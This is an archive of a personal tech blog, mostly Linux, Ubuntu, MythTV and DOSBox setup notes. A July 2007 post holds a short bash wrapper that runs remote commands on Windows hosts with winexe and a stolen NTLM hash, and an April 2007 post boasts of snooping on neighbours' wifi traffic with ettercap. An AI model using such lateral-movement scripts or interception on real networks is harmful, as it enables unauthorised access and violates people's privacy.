# Friday, October 17, 2008
So I am working on a project that required me to get creative, I have about 10gb of DOS Games but they are in ZIP format, nice for storage but not easy to deal with on a emulator front end, who wants to unzip a thousand files. So I set to work to make this script that will run a zip file game for dosbox. I read somewhere that dosbox will mount a zip file but seems like it wont work in the sdl build I have for linux, so I built this...

File Attachment: ldDOSzip.sh (2 KB)

File Attachment: ldDOSzip.bat (2 KB)

I put up a DOS batch file, its a very basic convert from the shell, most parts work I think. I didnt actually test it. You will also need to download a unzip tool for the command line this is also expected to be ran in XP or greater as I dont know how far back some of the file and path variables go in msft land. comment back if you find any issue with the dosbox batch file for windows. I will fix it up.

I did fix up the fact that by default IIS wont server up a batch file.

posted on Friday, October 17, 2008 7:46:55 PM (Pacific Daylight Time, UTC-07:00)  #    Comments [0] Trackback
# Saturday, July 12, 2008
So if you didnt know, over the holiday weekend I fell off a 15ft clif and messed up my foot real good. Well as I was sitting on the couch all weekend I wanted to make a script to convert robots.txt files that are on webservers inito a nice little clickable HTML map for reporting and pen-testing. A little bash hacking and I Have a nice little working script. so I present - I think the worlds first robots.txt to HTML page converter.

update: changed the raw code to a file as Im tired of google hits with linux commands

robotReporter.sh (1.73 KB)
posted on Saturday, July 12, 2008 11:41:00 AM (Pacific Daylight Time, UTC-07:00)  #    Comments [0] Trackback
# Thursday, January 03, 2008
if you live under a rock and get all your security news from me, last month backtrack3 was released, if your 31337 then you allready know and have this installed.
posted on Thursday, January 03, 2008 2:57:13 PM (Pacific Standard Time, UTC-08:00)  #    Comments [0] Trackback
# Saturday, October 20, 2007

The new version of ubuntu is out and as long as your not on comcast (assholes) I recommend the ubuntu torrent server, I got the iso in 30 mins. I also booted up package manager and noticed that it would take care of all the work for me.  Lets just say that there is a reason that linux is not on the home desktop yet, granted windows couldn't do any better. They just have a few more years under the belt as of now. So I clicked update, well since my home directory was encrypted. That trashed a lot of stuff. The ‘Coup de gras’ however came when it tried to update the package-manager and update service, no idea what happened but lets just say I lost everything and spent today at the office rebuilding my laptop. I did however, put office 2007 on for the first time. I really love outlook 07. So what did I learn from all this? backup your work and when all fails, you will find out that Microsoft makes a good email program.

posted on Saturday, October 20, 2007 4:48:00 PM (Pacific Daylight Time, UTC-07:00)  #    Comments [0] Trackback
# Thursday, August 16, 2007

BackTrack is very powerful you can find out about it and how to put it on a harddisk here

posted on Thursday, August 16, 2007 1:32:51 PM (Pacific Daylight Time, UTC-07:00)  #    Comments [0] Trackback
# Wednesday, August 15, 2007
zap2it will allow pay for continuation of guide data (yahoo) also check out the blog site LinuxBrainDump.org it looks like a good start to tips and news.
posted on Wednesday, August 15, 2007 8:46:04 AM (Pacific Daylight Time, UTC-07:00)  #    Comments [0] Trackback
# Tuesday, August 07, 2007

Super GRUB, a boot CD to repair your MBR with grub, the current version will also repair the windows boot sector however new versions will be GPL and not include the windows bootloader. so download now for that specific feature.

posted on Tuesday, August 07, 2007 6:11:09 PM (Pacific Daylight Time, UTC-07:00)  #    Comments [1] Trackback
# Friday, July 13, 2007

I have made a script to demo the use of winexe with the pass the hash patch. This script is nothing more then a fast entry bash script to demo in front of people so they don't have to know linux command line to understand what is happening.

#!/bin/bash
# Name: hash_pass
# Version: .01

echo ""
echo "Demo of Passing the hash exploite with SMB and NT/LM hash"
echo ""
echo -n "paste hash in format LM_HASH:NTLM_HASH : "
read hsh
export SMBHASH=$hsh
echo -n "username and domain in format DOMAIN/user note / not \: "
read usid
echo -n "hostname or IP for use of resource: "
read hst
echo -n "command to run on host ex. cmd.exe: "
read comnd
./winexe -U $usid%foo //$hst $comnd

posted on Friday, July 13, 2007 12:36:58 PM (Pacific Daylight Time, UTC-07:00)  #    Comments [0] Trackback
# Thursday, July 12, 2007

now there are a lot of tricks I dont know, but here are a few that were rather interesting that I havent picked up in my years of emergency linux support work.

apropos -  apropos - search the whatis database for strings  

whereis- locate the binary, source, and manual page files for a command on disk (adding -b will only give binary returns)

Alt + SysRq + B

If you’re not running any crucial, scheduled tasks or in the middle of composing a letter or an e-mail then this key combination may be the one to use. It will reboot the system immediately without bothering to sync or unmount disks.

Alt + SysRq + R

If you cannot get to a terminal window by using Ctrl + Alt + F2 then use this key combination (pressed altogether) to get a keyboard (this is because this key combination turns off what is called keyboard raw mode. Pressing these keys allows keyboard input even after your X-Windows session has crashed/frozen). Now, try Ctrl + Alt + F2 again and you can close down from the terminal. If that fails move on to the next option.

Alt + SysRq + S

This key combo does just what it says on the tin: it (S)ync’s all filesystems which reduces the possibility of loosing any data and possibly obviating the need for the system to run fsck upon reboot.

Alt + SysRq + U

As you might guess, this one tries to unmount disks and remount them as read only.

Alt + SysRq + O

Not so obvious, but this will power off your machine without syncing or unmounting disks (but it won’t reboot)

 

 

posted on Thursday, July 12, 2007 9:39:47 AM (Pacific Daylight Time, UTC-07:00)  #    Comments [0] Trackback
# Sunday, April 29, 2007

So I have never really liked wireless networks, also if I do have wireless I like to have free wireless. So today I spent 8 hours working on making a new wireless network with a captive portal. What is this you ask? You know when you use the wifi at a hotel it makes you agree to terms and conditions? and you cant browse until you accept them. thats the idea. I looked all over at like 15 solutions. Mainly the biggest being free, also that I didnt need to use services 3rd party and I didnt want it to be a windows application (dont want to use a loud computer) I happen to have a old firewall that the OS was corrupt on from work so I went to compusa and bought a CF card for 40% off. came home and installed my new os. I chose to go with http://www.pfsense.org/ its a spinoff of m0n0wall which is a very good firewall, however PFSence, has a better polish.

So after diggin out a old netgear I got it all hooked up, now I have port level fwd with packet shape and vlans, as well as a firewalled limited wifi with captive portal. way cool I now offer network service to my neighbors with the added cost of letting me spy on them. All ettercap I love you. The only interesting that I should add is im using a alpha build and its very buggy  but still works.

 

posted on Sunday, April 29, 2007 1:00:30 AM (Pacific Daylight Time, UTC-07:00)  #    Comments [0] Trackback
# Saturday, March 03, 2007
i had to make a classroom situation where a device would make LDAP calls, well i didnt want to make 8 domain controllers so i had to create a different way for making a ghostable LDAP directory server. found this site with a w32 openLDAP and instructions for the non linux nerd to use it. cool.
posted on Saturday, March 03, 2007 8:13:06 AM (Pacific Standard Time, UTC-08:00)  #    Comments [1] Trackback
# Thursday, November 23, 2006

nubuntu Is the network version of ubuntu. What is that you ask? well it has the highly popular and great version of ubuntu – reloaded with network and security tools. I also found a site with tricks for *ubuntu

posted on Thursday, November 23, 2006 1:44:09 PM (Pacific Standard Time, UTC-08:00)  #    Comments [0] Trackback
# Friday, September 15, 2006

Tool to make the files

htaccess how to

htaccess files secure directories or files in apache web server.

posted on Friday, September 15, 2006 1:56:43 PM (Pacific Daylight Time, UTC-07:00)  #    Comments [0] Trackback
# Wednesday, September 06, 2006
So I have basically switched over to Ubuntu now (if you  havent noticed by my constant posting about the OS) i found a cool tool today while trying to tweek my multi media settings. Link follows.

Easy Ubuntu codec and tweeker(old)

AutoMatix


posted on Wednesday, September 06, 2006 12:01:31 AM (Pacific Daylight Time, UTC-07:00)  #    Comments [0] Trackback
# Friday, September 01, 2006

Xorg.conf for 1440x900 resolution on the D620 my config is as follows

Section "Screen"
Identifier "Default Screen"

Monitor "Generic Monitor"
SubSection "Display"
Depth 1 <replicate this for all modes 1,4,8,15,16,24>
Modes "1440x900"

if i get the biometrix working i will add to this post

ubuntu hardware wiki on the dell620


posted on Friday, September 01, 2006 3:37:06 PM (Pacific Daylight Time, UTC-07:00)  #    Comments [0] Trackback
# Monday, August 28, 2006

a very good ubuntu wiki here.

and a post about wget that looks worth reading later

posted on Monday, August 28, 2006 2:05:03 PM (Pacific Daylight Time, UTC-07:00)  #    Comments [0] Trackback
# Monday, August 21, 2006

I always forget this and when you google it you just get "how to set up DNS server on linux" I dont care about that so im just writing a note to my self. All you normall blog readers ignore this.

/etc/resolv.conf

posted on Monday, August 21, 2006 4:22:32 PM (Pacific Daylight Time, UTC-07:00)  #    Comments [1] Trackback
# Thursday, August 10, 2006

im pushing this product like the goverment pushed uranium pills during war.

Ubuntu 6.06.1

posted on Thursday, August 10, 2006 3:19:27 PM (Pacific Daylight Time, UTC-07:00)  #    Comments [1] Trackback
# Friday, July 28, 2006

haha this is a funny idea, proxy someones internet and just be mean. this is an example where they just flip images.

http://www.ex-parrot.com/~pete/upside-down-ternet.html

posted on Friday, July 28, 2006 1:43:52 PM (Pacific Daylight Time, UTC-07:00)  #    Comments [0] Trackback
# Monday, July 10, 2006
here is an application I love more then ubuntu, i hope it comes to reality I want to see ubuntu give msft something to worry about. competition rules.

followup - its now part of the install.
posted on Monday, July 10, 2006 11:53:24 AM (Pacific Daylight Time, UTC-07:00)  #    Comments [0] Trackback
# Friday, June 09, 2006

as I learn linux so will you.

lost your mysql root password. well for some reason i did and the sql documentation seems to be wrong.

Run this: (after killing the current PID for mysqld)
mysqld_safe --skip-grant-tables --user=root &
Then: (from mysql command line)
UPDATE mysql.user SET Password=PASSWORD('newpwd') WHERE User='root';
FLUSH PRIVILEGES;

posted on Friday, June 09, 2006 1:00:17 PM (Pacific Daylight Time, UTC-07:00)  #    Comments [1] Trackback

I was having problems installing webmin on centOS so I blogged it for my notes and yours.

Turns out the RPM from the webmin site is bad? anyway i found a nice RPM site that has the RMPS listed nicely and you can just download what you need use wget. Also CentOS with out apache has none of the perl stuff you need so you need to also find the RPMS’s for all the perl dependencies – also note you need to download the fixed RPM for webmin.

rpm how to find installed packages

[root@srv-3 RPMS]# rpm -qa | grep apache
apache-1.3.19-5
[root@srv-3 RPMS]#

So, we need to remove apache-1.3.19-5:

[root@srv-3 RPMS]# rpm -e apache-1.3.19-5
posted on Friday, June 09, 2006 11:12:58 AM (Pacific Daylight Time, UTC-07:00)  #    Comments [0] Trackback
# Tuesday, June 06, 2006

I have just got around to checking out this Ubuntu linux that everyone talks about. And now I will talk about it.

Ubuntu is the single most useful linux build I have ever used. This product can 100% replace windows. in fact a few years back i tried this with other distros and didn't get far.

I was able to install, auto-update and connect to exchange with no problems. It did lock my dell laptop up hard once. This distro has a feature set of applications that can get your computer up and running. There is a add/remove so you can early add applications that are pre-packaged.

This is bad ass, if you want to dump windows today use Ubuntu if you dont then dual boot your laptop its totally worth it.

another thought on the idea same as me

posted on Tuesday, June 06, 2006 1:50:02 PM (Pacific Daylight Time, UTC-07:00)  #    Comments [1] Trackback
# Sunday, April 23, 2006

I updated the How-To for XBMC MYTHTV and Knoppmyth

posted on Sunday, April 23, 2006 10:05:47 AM (Pacific Daylight Time, UTC-07:00)  #    Comments [0] Trackback
# Thursday, January 19, 2006

now that I have a stable mythTV box up and running I am loving the DVR so much, commercial skip rules. Its very smart on every channel but MTV1/2 will it skip all the channels perfectly.

MTV is so flashy and jumpy and ‘gen-x’ that the commercial detection has no idea when a commercial starts.

posted on Thursday, January 19, 2006 12:52:24 PM (Pacific Standard Time, UTC-08:00)  #    Comments [0] Trackback
# Monday, January 16, 2006

Well for the last week I have been working on setting up a DVR (tivo) box for my home. This DVR is a DVR-Server of sorts using MythTV as the back-end for it all, and using Xbox with XBMC as the font end. It works sweet and here are my notes on the setup.

Equipment

  • MSI 845U Motherboard with 512ram and 2.3P4 (had that sitting around)
  • Hauppauge PVR-500 (picked that up) added a 2nd
  • nVidea AGP ATI AIW-8500 (for DVI)
  • SoundBlaster Live!
  • 250GB ATA

stuck all that into a box added a few more fans for server coolness.

Software

I decided to use KnoppMyth Release 5A30.15B75C7 because its fast easy and has all the packages I need on one CD I am fairly comfortable with debian being that all Knoppix distros use it. The CD allows for fast easy setup. Its a nobrainer. and lots of scripts for a fast install.

you need A hacked xbox with XBMC and XBMCMythTV (items out of scope of document for setup and how-to)

Setup of KnoppMyth is easy you can follow the many guides for installing the product

Install Guide KnoppMyth Wikki

Install Guide KnoppMyth other parts and stuff

Install Guide for Fedora (homebrew your whole box not for K.M.)

MythTV Documentation (generic documentation on the MythApplication)

Its all very basic install. Some tips I found to not be documented well (make sure your running SU/root)

  • First off if your not a linux nerd then use the Web-Admin tool allows fast easy configs
  • auto start samba with – update-rc.d samba defaults
  • edit /etc/samba smb.conf to contain the /cache root path (need this to stream live tv to the xbox for.18 .19 is not the same and also not working right now with xbox)
  • enable use of mysql on network commenting out a line that reads 'skip-networking' in the /etc/mysql/my.cnf
  • make sure your security for the db is good here
  • restarting MySQL (/etc/init.d/mysql restart)change the IP address in the 'General' section of mythtv-setup on the backend system. Change both instances of IP numbers from the loopback address (127.0.0.1) to the actual IP number of the backend.(then restart backend) if frontend fails to load this is the reason.
  • set all record profiles to 720x480
  • read howto-icons to grab the new channel icons -slow script
  • How to set the XBMC skin button to auto launch TV
  • to re-config the MythTV run ‘mythtv-setup’ from command line
  • backend restart #/etc/init.d/mythtv-backend restart (or stop)

If you have XBMCMYTHTV Live TV stream that dies after a few seconds use this trick

  • set XBMC buffers for network to 1024mb
  • set the ring file buffer in the xbmcmythtv to 8192mb (as of CVS XMBCMYTHTV now just runs off XBMC Buffers)

This will allow the ring file to grow to 8mb before XBMC plays it – and XBMC wont read more then 1mb ahead so you have buffer to FF/RW and not crash. However if you FF past live it crashes (i hope that fix that)

Here are some troubleshooting links for fourms and other spots for help

Windows Suport? i didn't find anything that worked or that was any good the website that comes with the distro will allow you to stream to a computer any recorded media which is good for me since I use all Xbox’s there is Decoders for Windows for the files that MythTV natively saves. I will continue to try and get better web and windows support for the application and post anything interesting. meanwhile we all wait for MythTV v.19.

With this setup I can record or watch two TV channels at once. and stream back any content to any xbox in the house. I got three streams one was live tv the other two were recorded shows, i also was recording a show. All of this did not have any performance loss on the hardware or on my 100 base network.

Edit: MythTV v .19 out

Edit: Updates for .19 and KnoppMythR5B7 R5C7 current from 6/4/06

  • now supports ATI remote wonder great just plug and play, dont 'remove the kernel module' it wont work with just LIR
  • if you upgrade from prior versions and use this FYI for setup then make sure that you enable the network for SQL otherwise it wont auto launch the font end with startx
  • digital audio out
  • connect cable box
  • i have also added a ATI-AIW8500 as the video card. no this isnt for a input but the DVI output to my new TV works great
  • netflix setup

Update I upgraded to R5E with no issues except nvidia driver install

Update Upgrade to R5F1 and a few notes I didnt have on E mysql5 has new settings for networking

edit /etc/mysql/my.cnf and comment out for full access the line 'bind-address = '
a handy tool for working with tuner cards /etc/init.d/set_ivtv_params

also with the change to F you need to fix the SMB shares to point to the videos to that xbmcmythtv works(see up in this post to turn on and share), BTW I'm using the current CVS builds with no problem protocall 31 and xbmc current CVS

this post on tips for upgrade to new knoppmythtv




posted on Monday, January 16, 2006 9:45:46 PM (Pacific Standard Time, UTC-08:00)  #    Comments [0] Trackback
# Tuesday, May 31, 2005

a handy site to bookmark http://www.linuxisotorrent.com/

other nerd notes:

 With Internet Explorer 7 Beta 1 set to debut next month, Microsoft has quietly closed the door on Windows 2000 users planning to adopt the new Web browser. IE7 will require Windows XP Service Pack 2 due to internal security changes that rely on Microsoft's latest operating system release. (IE7 will have tabs)

posted on Tuesday, May 31, 2005 2:34:00 PM (Pacific Daylight Time, UTC-07:00)  #    Comments [0] Trackback
# Friday, May 20, 2005

so i was cleaning up my room and found my ibook chillin under my desk with a dead battery. sad so i charged it up cursed a bit as the system clock problems went away. then found that my ibook was horribly out of date. did some apple updates, then remembered that Tiger is out so i need to russle up a copy of that and check it out. I also have linux installed on the ibook, after a few hours trying passwords for the root i finally got in. a old copy of gentoo from 2003. yuck, it was a fun idea that mike and i had back in the day. but i don't like gentoo. growing up with mandrake/redhat i had to go back to it somehow. well redhat and mandrake all went the way of the dino. so time for a new distro. i remember reading about Yellow Dog Linux back in 2000 and figured it must be good now if its still around. after all they are PPC as the primary platform. Also i found out that mandrake stopped the PPC at 9.0

so after some light reading i downloaded the 4 cd’s (ouch) and installed them out. still running osX.3 as a secondary partition and now YDL as primary. Also been a while since i used X windows. read a little on the new KDE/GNOME well i hate KDE i cant stand the user interface and think anyone who likes linux for its KDE needs a refresh in the fact that a computer is supposed to be EASY to use. not something you have to konquer! so gnome it is. as a side note i read a few things where people criticise the fact that people need a GUI for linux saying “go back to the console” wtf where are you from, thats what i expect to hear from a 78yr old Professor at Princeton. sure console is for things but you dont work in a telnet session all day. and if you do …HAHA (i’m a nerd)

anyway so i download cd’s and pop them in and choose install i also found this nice looking “install” pdf and mostly printed it out because i was trying to figure out the page numbers then realised its a little bind yore own book. well i just wanted to make my own book so i printed it and stapled it into a cool little linux install book i never really looked at the contents but i do have a nice book

the install is what i remember of my early linux days, just cleaner the install is now fast and concise, there is no crap and it dont look like GNOME .9 anymore i like that. some package picking installing all the compilation tools since thats about all i need a linux tool for. that and WEP cracking.

after first boot there is a config menu just like windows, i like this, congrats YDL team.  very easy setup they dont make the network card setup part of all this, i had to do this by experience and not a wizard. then using YUM i updated the whole distro, installed firefox and BAM now i go play with tiger.

Tiger! ok so other then the new SMB support i have no care for the new product. it broke 2/3 of the applications i use on OSX – broke VPC,VPN other then that nothing eventful. If you care then you dont read my blog for this type of news anyway.

i thought about making some how-to on the subject matter but there is more then you need out there, if you ahve a Q comment back – holla’

posted on Friday, May 20, 2005 5:50:22 AM (Pacific Daylight Time, UTC-07:00)  #    Comments [1] Trackback
# Sunday, January 16, 2005

gotta have the First Post

 

This is the new code for KellyKeeton.com/blog I chose to use the DasBlog asp.net source. with a work space here its nice easy setup just edit xml for the major options. I chose this because i wanted a ASP solution that would run on IIS and have no database back end. This was compared to .text which I didn't like as much.

posted on Sunday, January 16, 2005 10:23:04 AM (Pacific Standard Time, UTC-08:00)  #    Comments [2] Trackback